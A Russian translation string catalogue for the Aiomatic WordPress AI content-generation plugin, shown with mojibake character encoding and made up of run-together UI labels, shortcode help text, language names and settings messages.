иÑпользовать Ñледующие Шорткоды: %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, %%random_image[ключевое Ñлово]%%, %%random_image_url[ключевое Ñлово]%%, % %random_video[ключевое Ñлово]%%, %%royalty_free_image_attribution%% — вы также можете иÑпользовать необÑзательный параметр в Шорткодах random_image и random_video, который добавит процентную вероÑтноÑÑ‚ÑŒ того, что медиа поÑвитÑÑ Ð¸Ð»Ð¸ нет — пример: %%random_video[ключевое Ñлово] [60]%% - видео поÑвитÑÑ Ð² 60% Ñлучаев, в оÑтальных 40% Шорткод ничего не вернет - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ Шорткоды (Шорткоды генерируютÑÑ Ð¿Ð¾ правилам из других Плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие Шорткоды, определенные в функции «Создание пользовательÑких Шорткодов» в наÑтройках правил — Ñто позволит вам Ñоздавать чаÑтично или полноÑтью генерируемые иÑкуÑÑтвенным интеллектом Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² Контента.Введите текÑÑ‚ HTML, который должен быть добавлен к контенту, Ñозданному AI, в каждом Ñозданном поÑту. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%custom_html%%, %%custom_html2%%, %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% — вы также можете иÑпользовать необÑзательный параметр в шорткодах random_image и random_video, который добавит процентную вероÑтноÑÑ‚ÑŒ поÑÐ²Ð»ÐµÐ½Ð¸Ñ Ð¸Ð»Ð¸ отÑутÑÑ‚Ð²Ð¸Ñ Ð¼ÐµÐ´Ð¸Ð°Ñ„Ð°Ð¹Ð»Ð° — пример: %%random_video[ключевое Ñлово][60 ]%% - видео поÑвитÑÑ Ð² 60% Ñлучаев, в оÑтальных 40% шорткод ничего не вернет - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñгенерированные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Введите HTML-текÑÑ‚, который будет добавлÑÑ‚ÑŒÑÑ Ðº Ñгенерированному AI контенту в каждом Ñозданном поÑте. Ð’Ñ‹ можете иÑпользовать Ñледующие шорткоды: %%custom_html%%, %%custom_html2%%, %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%%% - в шорткодах random_image и random_video можно также иÑпользовать необÑзательный параметр, который добавит процентную вероÑтноÑÑ‚ÑŒ того, что медиа поÑвитÑÑ Ð¸Ð»Ð¸ нет - пример: %%random_video[keyword][60]%% - видео поÑвитÑÑ Ð² 60% Ñлучаев, в оÑтальных 40% шорткод ничего не вернет - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам из других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции 'Создание ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Введите HTML-текÑÑ‚, который должен добавлÑÑ‚ÑŒÑÑ Ðº контенту, Ñозданному ИИ, в каждом Ñозданном поÑте. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%custom_html%%, %%custom_html2%%, %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% — вы также можете иÑпользовать необÑзательный параметр в шорткодах random_image и random_video, который добавит процентную вероÑтноÑÑ‚ÑŒ поÑÐ²Ð»ÐµÐ½Ð¸Ñ Ð¸Ð»Ð¸ отÑутÑÑ‚Ð²Ð¸Ñ Ð¼ÑƒÐ»ÑŒÑ‚Ð¸Ð¼ÐµÐ´Ð¸Ð° — пример: %%random_video[ключевое Ñлово][60]%% — видео поÑвитÑÑ Ð² 60 % Ñлучаев, в оÑтальных 40% шорткод ничего не вернет. Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Введите HTML-текÑÑ‚, который должен добавлÑÑ‚ÑŒÑÑ Ðº Ñодержимому, Ñгенерированному AI, в каждом Ñозданном ПоÑте. Ð’Ñ‹ можете иÑпользовать Ñледующие Шорткоды: %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, %%random_image[ключевое Ñлово]%%, %%random_image_url[ключевое Ñлово]%%, % %random_video[ключевое Ñлово]%%, %%royalty_free_image_attribution%% — вы также можете иÑпользовать необÑзательный параметр в Шорткодах random_image и random_video, который добавит процентную вероÑтноÑÑ‚ÑŒ того, что медиа поÑвитÑÑ Ð¸Ð»Ð¸ нет — пример: %%random_video[ключевое Ñлово] [60]%% - видео поÑвитÑÑ Ð² 60% Ñлучаев, в оÑтальных 40% Шорткод ничего не вернет - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ Шорткоды (Шорткоды генерируютÑÑ Ð¿Ð¾ правилам из других Плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие Шорткоды, определенные в функции «Создание пользовательÑких Шорткодов» в наÑтройках правил — Ñто позволит вам Ñоздавать чаÑтично или полноÑтью генерируемые иÑкуÑÑтвенным интеллектом Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² Контента.Введите HTML-текÑÑ‚, который должен добавлÑÑ‚ÑŒÑÑ Ðº контенту, Ñозданному ИИ, в каждом Ñозданном поÑте. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%custom_html2%%, %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% — вы также можете иÑпользовать необÑзательный параметр в шорткодах random_image и random_video, который добавит процентную вероÑтноÑÑ‚ÑŒ поÑÐ²Ð»ÐµÐ½Ð¸Ñ Ð¸Ð»Ð¸ отÑутÑÑ‚Ð²Ð¸Ñ Ð¼ÐµÐ´Ð¸Ð°Ñ„Ð°Ð¹Ð»Ð° — пример: %%random_video[ключевое Ñлово][60 ]%% - видео поÑвитÑÑ Ð² 60% Ñлучаев, в оÑтальных 40% шорткод ничего не вернет - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñгенерированные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Введите HTML-текÑÑ‚, который будет добавлÑÑ‚ÑŒÑÑ Ðº Ñгенерированному AI контенту в каждом Ñозданном поÑте. Ð’Ñ‹ можете иÑпользовать Ñледующие шорткоды: %%custom_html%%, %%custom_html2%%, %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%%% - в шорткодах random_image и random_video можно также иÑпользовать необÑзательный параметр, который добавит процентную вероÑтноÑÑ‚ÑŒ того, что медиа поÑвитÑÑ Ð¸Ð»Ð¸ нет - пример: %%random_video[keyword][60]%% - видео поÑвитÑÑ Ð² 60% Ñлучаев, в оÑтальных 40% шорткод ничего не вернет - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам из других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции 'Создатель ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Введите ÑпиÑок Разделов ПоÑта, по одному в Ñтроке. Это будут Заголовки Контента. Они также могут быть автоматичеÑки Ñгенерированы Плагином. Чтобы включить автоматичеÑкое формирование Разделов, оÑтавьте Ñто поле пуÑтым. Это уÑтановит значение Шорткода %%sections%%, который можно иÑпользовать в Промптх ниже. Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие Шорткоды, определенные в функции «Создание ПользовательÑких Шорткодов» в ÐаÑтройках Правил — Ñто позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² Контента. ЕÑли вы уÑтановите здеÑÑŒ ÑпиÑок Разделов, ÐºÐ°Ð¶Ð´Ð°Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð½Ð°Ñ Ð¡Ñ‚Ð°Ñ‚ÑŒÑ Ð±ÑƒÐ´ÐµÑ‚ иметь один и тот же ÑпиÑок Разделов, из-за Ñтого иÑпользуйте Шорткоды или Spintax при определенAI Ñтих СтатичеÑких Тем или оÑтавьте Ñто поле пуÑтым, чтобы Плагин автоматичеÑки генерировал их!Введите ÑпиÑок разделов поÑта, по одному в Ñтроке. Это будут заголовки контента. Они также могут автоматичеÑки генерироватьÑÑ Ð¿Ð»Ð°Ð³Ð¸Ð½Ð¾Ð¼. Чтобы включить автоматичеÑкое Ñоздание разделов, оÑтавьте Ñто поле пуÑтым. Ð’Ñ‹ можете иÑпользовать здеÑÑŒ короткий код %%topic%%, чтобы автоматичеÑки получить значение вышеуказанной темы. Это уÑтановит значение короткого кода %%sections%%, который можно иÑпользовать в Промптах ниже. Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента. ЕÑли вы уÑтановите здеÑÑŒ ÑпиÑок разделов, ÐºÐ°Ð¶Ð´Ð°Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð½Ð°Ñ ÑÑ‚Ð°Ñ‚ÑŒÑ Ð±ÑƒÐ´ÐµÑ‚ иметь один и тот же ÑпиÑок разделов, поÑтому иÑпользуйте шорткоды или Spintax при определении Ñтих ÑтатичеÑких тем или оÑтавьте Ñто поле пуÑтым, чтобы плагин автоматичеÑки Ñгенерировал их!Введите вручную ÑпиÑок ÑÑылок, и Плагин будет размещать ÑÑылки.Введите макÑимальное количеÑтво Продуктов Ð´Ð»Ñ Ð²ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñ Ð² Статью Ñ ÐžÐ±Ð·Ð¾Ñ€Ð¾Ð¼ Продуктов. Ð’Ñ‹ также можете ввеÑти диапазоны чиÑел, например: 3-4Введите макÑимальное количеÑтво Продуктов Ð´Ð»Ñ Ð²ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñ Ð² Статью Ñ ÐžÐ±Ð·Ð¾Ñ€Ð¾Ð¼ Продуктов. Ð’Ñ‹ также можете ввеÑти диапазоны чиÑел, например: 2-4Введите количеÑтво абзацев, которые нужно Ñоздать Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ Раздела. Они также будут уÑтановлены в качеÑтве Заголовоков Статей. Ð’Ñ‹ также можете уÑтановить диапазоны значений, например: 5-7. Ð’ Ñтом Ñлучае в Ñтом диапазоне будет выбрано Ñлучайное чиÑло. ПожалуйÑта, иÑпользуйте только чиÑловые Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð² Ñтом поле. Ð’ Ñтом поле будет уÑтановлено значение Шорткода %%paragraphs_per_section%%.Введите количеÑтво Разделов, которые нужно Ñоздать в Ñтатье. Они также будут уÑтановлены в качеÑтве Заголовоков Статей. Ð’Ñ‹ также можете уÑтановить диапазоны значений, например: 5-7. Ð’ Ñтом Ñлучае в Ñтом диапазоне будет выбрано Ñлучайное чиÑло. ПожалуйÑта, иÑпользуйте только чиÑловые Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð² Ñтом поле. Ð’ Ñтом поле будет уÑтановлено значение Шорткода %%sections_count%%.Ключевые Слова Ð´Ð»Ñ ÐŸÐ¾Ð¸Ñка ОбъектовКод покупки EnvatoОшибка при полученAI Контента:ÑÑперантоÐнглийÑкий (переводчик Google)ПриблизительноÑÑтонÑкийЭÑтонÑкий (переводчик Google)СобытиÑЭвеЭве (Google Переводчик)Пример 10:Пример 11:Пример 12:Пример 13:Пример 14:Пример 15:Пример 16:Пример 17:Пример 18:Пример 2:Пример 3:Пример 4:Пример 5:Пример 6:Пример 7:Пример: 8Пример 9:Пример:Пример: B07RZ74VLRПример: корм Ð´Ð»Ñ Ñобак.За иÑключением Ñтого ÑпиÑка пользовательÑких Типов ПоÑтов, Разделенных запÑтыми:ÐнонÑВыдержка из ПромптыПромпт ÐнонÑа ПоÑта:Захватывающие новоÑти Ð´Ð»Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»ÐµÐ¹ плагина Aiomatic: теперь вы можете хранить беÑплатные или Ñозданные иÑкуÑÑтвенным интеллектом Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð² Amazon S3 Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ нового раÑÑˆÐ¸Ñ€ÐµÐ½Ð¸Ñ Aiomatic! Получи Ñто здеÑÑŒ:СпиÑок ИÑключенных Слов (только Ð´Ð»Ñ Ð²Ñтроенного Ñчетчика):Редактор Контента СущеÑтвующих ПоÑтов Редактор Контента СущеÑтвующих ПоÑтов:СущеÑтвующий AI Создатель ОпиÑÐ°Ð½Ð¸Ñ Ð¢Ð°ÐºÑономии :ЭкÑпортировать текÑтовый файл беÑеды чатаШаблоны ÑкÑпреÑÑ-контентаЭкÑпреÑÑ-режимРаÑширьте ÑвойРаÑширениÑВнешний Cron JobДополнительные функцииГенератор ПоÑтов F-omaticЧЗВFAST_BLUEFAST_GREENСÑылка на публикацию в FacebookШаблон ПоÑта FacebookПроизошла ошибкаÐе удалоÑÑŒ декодировать данные OmniBlocks!Ðе удалоÑÑŒ декодировать данные Ñохраненных блоков!Ðе удалоÑÑŒ добавить голоÑа!Ðе удалоÑÑŒ загрузить и обработать файлМодаИзбранноеОÑновное изображениеРекомендуемый Механизм Ð ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ð¹:Ð’Ñ‹Ñота Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ñ€Ð°Ð·Ð¼ÐµÑ€Ð° избранного изображениÑ:Рекомендуемое качеÑтво Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ñ€Ð°Ð·Ð¼ÐµÑ€Ð° изображениÑ:Ширина Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ñ€Ð°Ð·Ð¼ÐµÑ€Ð° рекомендуемого изображениÑ:Рекомендуемый иÑточник изображениÑ:Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ð¸Ð·Ð±Ñ€Ð°Ð½Ð½Ð¾Ð³Ð¾ изображениÑ:Ðе ÑтеÑнÑйтеÑÑŒ приÑоединитьÑÑ Ðº нашему ÑообщеÑтву DiscordЧувÑтваТип ПолÑ*Шаблон контента файлаМеÑтоположение файлаФайл Ð´Ð»Ñ Ð·Ð°Ð³Ñ€ÑƒÐ·ÐºÐ¸Ð¢Ð¸Ð¿ файлаРазмер файла превышает макÑимальный предел.Файл уÑпешно загружен, вы можете проÑмотреть его на вкладке «Ðаборы Данных».Файл уÑпешно загружен, вы можете проÑмотреть его на вкладке ÑпиÑка шаблонов OmniBlock.Файл уÑпешно загружен, вы можете проÑмотреть его на вкладке ÑпиÑка аÑÑиÑтентов.Файл уÑпешно загружен, вы можете проÑмотреть его на вкладке ÑпиÑка форм.Файл уÑпешно загружен, вы можете проÑмотреть его на вкладке ÑпиÑка перÑон.Файл уÑпешно загружен!Файл уÑпешно загружен.Ð˜Ð¼Ñ Ð¤Ð°Ð¹Ð»Ð°Ð¤Ð¸Ð»Ð¸Ð¿Ð¸Ð½Ñкий ФилиппинÑкий (переводчик Google)Язык фильтра: Фильтровать шаблоны OmniBlock по категориÑм:Отфильтруйте отображаемые шаблоны OmniBlock по категориÑм.Фильтровать результаты по категориÑм изображений.Фильтруйте результаты по ориентацAI изображениÑ.Фильтруйте результаты по Типу изображениÑ.Ð¢Ð¾Ð½ÐºÐ°Ñ ÐаÑÑ‚Ñ€Ð¾Ð¹ÐºÐ°Ð¢Ð¾Ñ‡Ð½Ð°Ñ ÐаÑтройка ÐœÐ¾Ð´ÐµÐ»Ð¸Ð¢Ð¾Ð½ÐºÐ°Ñ ÐаÑÑ‚Ñ€Ð¾Ð¹ÐºÐ°Ð¢Ð¾Ð½ÐºÐ°Ñ Ð½Ð°Ñтройка в GPT-3 — Ñто процеÑÑ ÐаÑтройки конкретной Модели AI и ее Параметров Ð´Ð»Ñ Ð»ÑƒÑ‡ÑˆÐµÐ³Ð¾ ÑоответÑÑ‚Ð²Ð¸Ñ ÐºÐ¾Ð½ÐºÑ€ÐµÑ‚Ð½Ð¾Ð¹ задаче. Это можно Ñделать, предоÑтавив GPT-3 набор данных, адаптированный к нужной вам задаче. Ðапример, еÑли вы хотите Ñоздать чат-бота, который отвечает на вопроÑÑ‹, похожие на Рика из «Рика и Морти», Ñта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ â€” то, что вам нужно.Ð—Ð°ÐºÐ»ÑŽÑ‡Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð§Ð°ÑтьФинÑкийФинÑкий (переводчик Google)Первый ÑпиÑок возможных предложений (%%random_sentence%%):ÐŸÐµÑ€Ð²Ð°Ñ ÑÑ‚Ñ€Ð°Ð½Ð¸Ñ†Ð°ÐŸÐµÑ€Ð²Ð°Ñ ÐŸÐµÑ€Ñона множеÑтвенного чиÑла (мы, мы, наш, наш)ÐŸÐµÑ€Ð²Ð°Ñ Ð¿ÐµÑ€Ñона единÑтвенного чиÑла (Ñ, мне, мой, мой)Во-первых, у Ð½Ð°Ñ ÐµÑÑ‚ÑŒ МаÑтер контента, ваш надежный помощник в управлении и оптимизации вашего контента. Этот интеллектуальный помощник помогает вам решать различные задачи: от ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð¼ÐµÑ‚Ð°Ñ‚ÐµÐ³Ð¾Ð² Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ иÑкуÑÑтвенного интеллекта до Ð¿Ñ€ÐµÐ´Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ñ€ÐµÐ»ÐµÐ²Ð°Ð½Ñ‚Ð½Ñ‹Ñ… ключевых Ñлов и оптимизации вашего контента Ð´Ð»Ñ Ð¿Ð¾Ð²Ñ‹ÑˆÐµÐ½Ð¸Ñ Ñ€ÐµÐ¹Ñ‚Ð¸Ð½Ð³Ð° в поиÑковых ÑиÑтемах. МаÑтер контента — ваш Ñтратег виртуального контента, который будет Ñопровождать Ð²Ð°Ñ Ð½Ð° каждом Ñтапе пути.Помеченное текÑтовое ПоÑÑ‚:Параметры API Flickr:Flickr App ID: ÐŸÐ¸Ñ‰Ð°Ð”Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ Ð´Ð¾Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ð¹ информации о Плагине, пожалуйÑта, поÑÐµÑ‚Ð¸Ñ‚ÐµÐ”Ð»Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»ÐµÐ¹, принадлежащих к неÑкольким организациÑм, вы можете передать заголовок, чтобы указать, ÐºÐ°ÐºÐ°Ñ Ð¾Ñ€Ð³Ð°Ð½Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð¸ÑпользуетÑÑ Ð´Ð»Ñ Ð·Ð°Ð¿Ñ€Ð¾Ñа API. ИÑпользование Ñтих API-запроÑов будет ÑчитатьÑÑ Ð¸Ñпользованием Ð´Ð»Ñ ÑƒÐºÐ°Ð·Ð°Ð½Ð½Ð¾Ð¹ организации. Это поле ÑвлÑетÑÑ Ð½ÐµÐ¾Ð±Ñзательным.Цвет Фона Формы:Цвет Кнопки Формы:Цвет ТекÑта Кнопки Формы:Идентификатор формы не найден в базе данных!МакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ð´Ð»Ð¸Ð½Ð° Полей Ввода Формы:ÐœÐ¸Ð½Ð¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ð´Ð»Ð¸Ð½Ð° Полей Ввода Формы:Параметры ФормыТекÑÑ‚ Ð·Ð°Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»Ñ Ð²Ñ‹Ð²Ð¾Ð´Ð° формы:Цвет ТекÑта Формы:Обновлен черновик Формы.Форма опубликована.Форма воÑÑтановлена ​​до верÑAI %sФорма Ñохранена.Форма запланирована на: %1$s.Форма отправлена.Форма обновлена.ФранциÑфранцузÑкий ÑзыкФранцузÑкий (переводчик Google)Штраф за ЧаÑтотуШтраф за чаÑтоту:ФризÑкийФризÑкий (переводчик Google)Параметры Внешнего ИнтерфейÑаПользователи Ñ Ð¿Ð¾Ð»Ð½Ñ‹Ð¼ доÑтупом:Заголовки, полноÑтью Ñгенерированные AIВызов ФункцииÐаÑтройки Ðктивации Ыызова Функций:ÐаÑтройки ÐœÐ¾Ð´ÑƒÐ»Ñ Ð’Ñ‹Ð·Ð¾Ð²Ð° Функций Чат-бота:GD LibraryGD Library:ПолучитьГалицкийГалиÑийÑкий (переводчик Google)ГаллереÑСобирает контент одного файла.Общие наÑтройки Генератора изображений AI:ОÑновные ÐаÑÑ‚Ñ€Ð¾Ð¹ÐºÐ¸ÐžÐ±Ñ‰Ð°Ñ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð¾ ÑиÑтеме:Общие ÑоветыСгенерировать Мета-опиÑание SEOСгенерировать SEO-ЗаголовокСгенерировать КонтентСоздать Краткое ОпиÑание (ÐнонÑ)Сгенерировать ТегиСгенерировать ТекÑÑ‚Ð“ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ñ Ð—Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ° и КонтентаСгенерировать ИÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ AIРазмер Ñгенерированного избранного изображениÑ:Размер Ñгенерированного изображениÑРазмер Ñгенерированного изображениÑ:Сгенерированный почтовый форматСгенерированный почтовый формат:Сгенерированные результатыГенерирует Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ AI Ñ Ð¸Ñпользованием различных моделей Dall-E.Генерирует Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ AI Ñ Ð¸Ñпользованием различных моделей Stable Diffusion.Генерирует текÑтовый контент AI Ñ Ð¸Ñпользованием различных моделей.Генерирует текÑтовый контент AI, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ñ€Ð°Ð·Ð»Ð¸Ñ‡Ð½Ñ‹Ðµ модели, Ð²Ñ‹Ð·Ñ‹Ð²Ð°Ñ ÑредÑтво запиÑи AI Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð¹ Ñтроки входного текÑта (Ñ ÑоответÑтвующими изменениÑми промпта).Генерирует видео AI, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ñ€Ð°Ð·Ð»Ð¸Ñ‡Ð½Ñ‹Ðµ иÑходные изображениÑ.Сгенерировать Мета-опиÑание SEO...Ð“ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ñ ÐšÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð°...Сгенерировать Краткое ОпиÑание (ÐнонÑ)...Ð“ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ñ Ð¢ÐµÐ³Ð¾Ð²...Ð“ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ñ Ð·Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ°...ГрузинÑкийГрузинÑкий (переводчик гугл)ÐемецкийÐемецкий (переводчик Google)ГерманиÑПолучите WPML ÑейчаÑ!Ðачинаешь Работу Ñ ÐŸÐ»Ð°Ð³Ð¸Ð½Ð¾Ð¼?Глобальный СпиÑок Запрещенных Слов:Глобальные Параметры ПромптаГлобальный СпиÑок ОбÑзательных Слов:Перейдите на вкладку «Управление аÑÑиÑтентами» и нажмите кнопку «Добавить нового аÑÑиÑтента». Заполните интуитивно понÑтное Ð¸Ð¼Ñ Ð°ÑÑиÑтента, выберите модель AI , добавьте опиÑание и в поле наÑтроек «КонтекÑтный промпт аÑÑиÑтента» обÑзательно добавьте любую информацию, о которой должен знать аÑÑиÑтент. ЗдеÑÑŒ вы можете раÑÑказать ему о его названии, роли и назначении. Ð’Ñ‹ также можете включить раÑширенные функции, такие как «Интерпретатор кода» и «Извлечение», добавить Ñвои ÑобÑтвенные функции или даже загрузить файлы, чтобы помощник мог их обработать и извлечь из них контент. Ðаконец, вы также можете назначить аватар Ð´Ð»Ñ Ð°ÑÑиÑтента, который будет иÑпользоватьÑÑ Ñ‡Ð°Ñ‚-ботом при иÑпользовании Ñтого аÑÑиÑтента.Режим Бога (Вызов Функции WordPress)Параметры API Изображений Google:ÐаÑтройки API Google MakerSuite AIURL-Ð°Ð´Ñ€ÐµÑ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¿Ð¾Ñта в Google Мой бизнеÑШаблон ПоÑта в Google Мой бизнеÑКлюч Google SERP API (только Ð´Ð»Ñ Ð´Ð¾Ñтупа в Интернет, без ÑвÑзанных заголовков)Идентификатор поиÑковой ÑиÑтемы Google SERP API (значение CX) (только Ð´Ð»Ñ Ð´Ð¾Ñтупа в Интернет, без ÑвÑзанных заголовков)Google SERP API:ПоиÑк ГуглПреобразование ТекÑта в Речь GoogleAPI Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚ÐµÐºÑта в речь Google:Ключ API переводчика Google (необÑзательно)API Google Переводчика:Google не генерировал аудио Ð´Ð»Ñ Ñтого текÑта.ГречеÑкийГречеÑкий (переводчик Google)ГуараниГуарани (Переводчик Google)гуджаратиГуджарати (переводчик Google)HTMLТекÑÑ‚ HTML Ð´Ð»Ñ 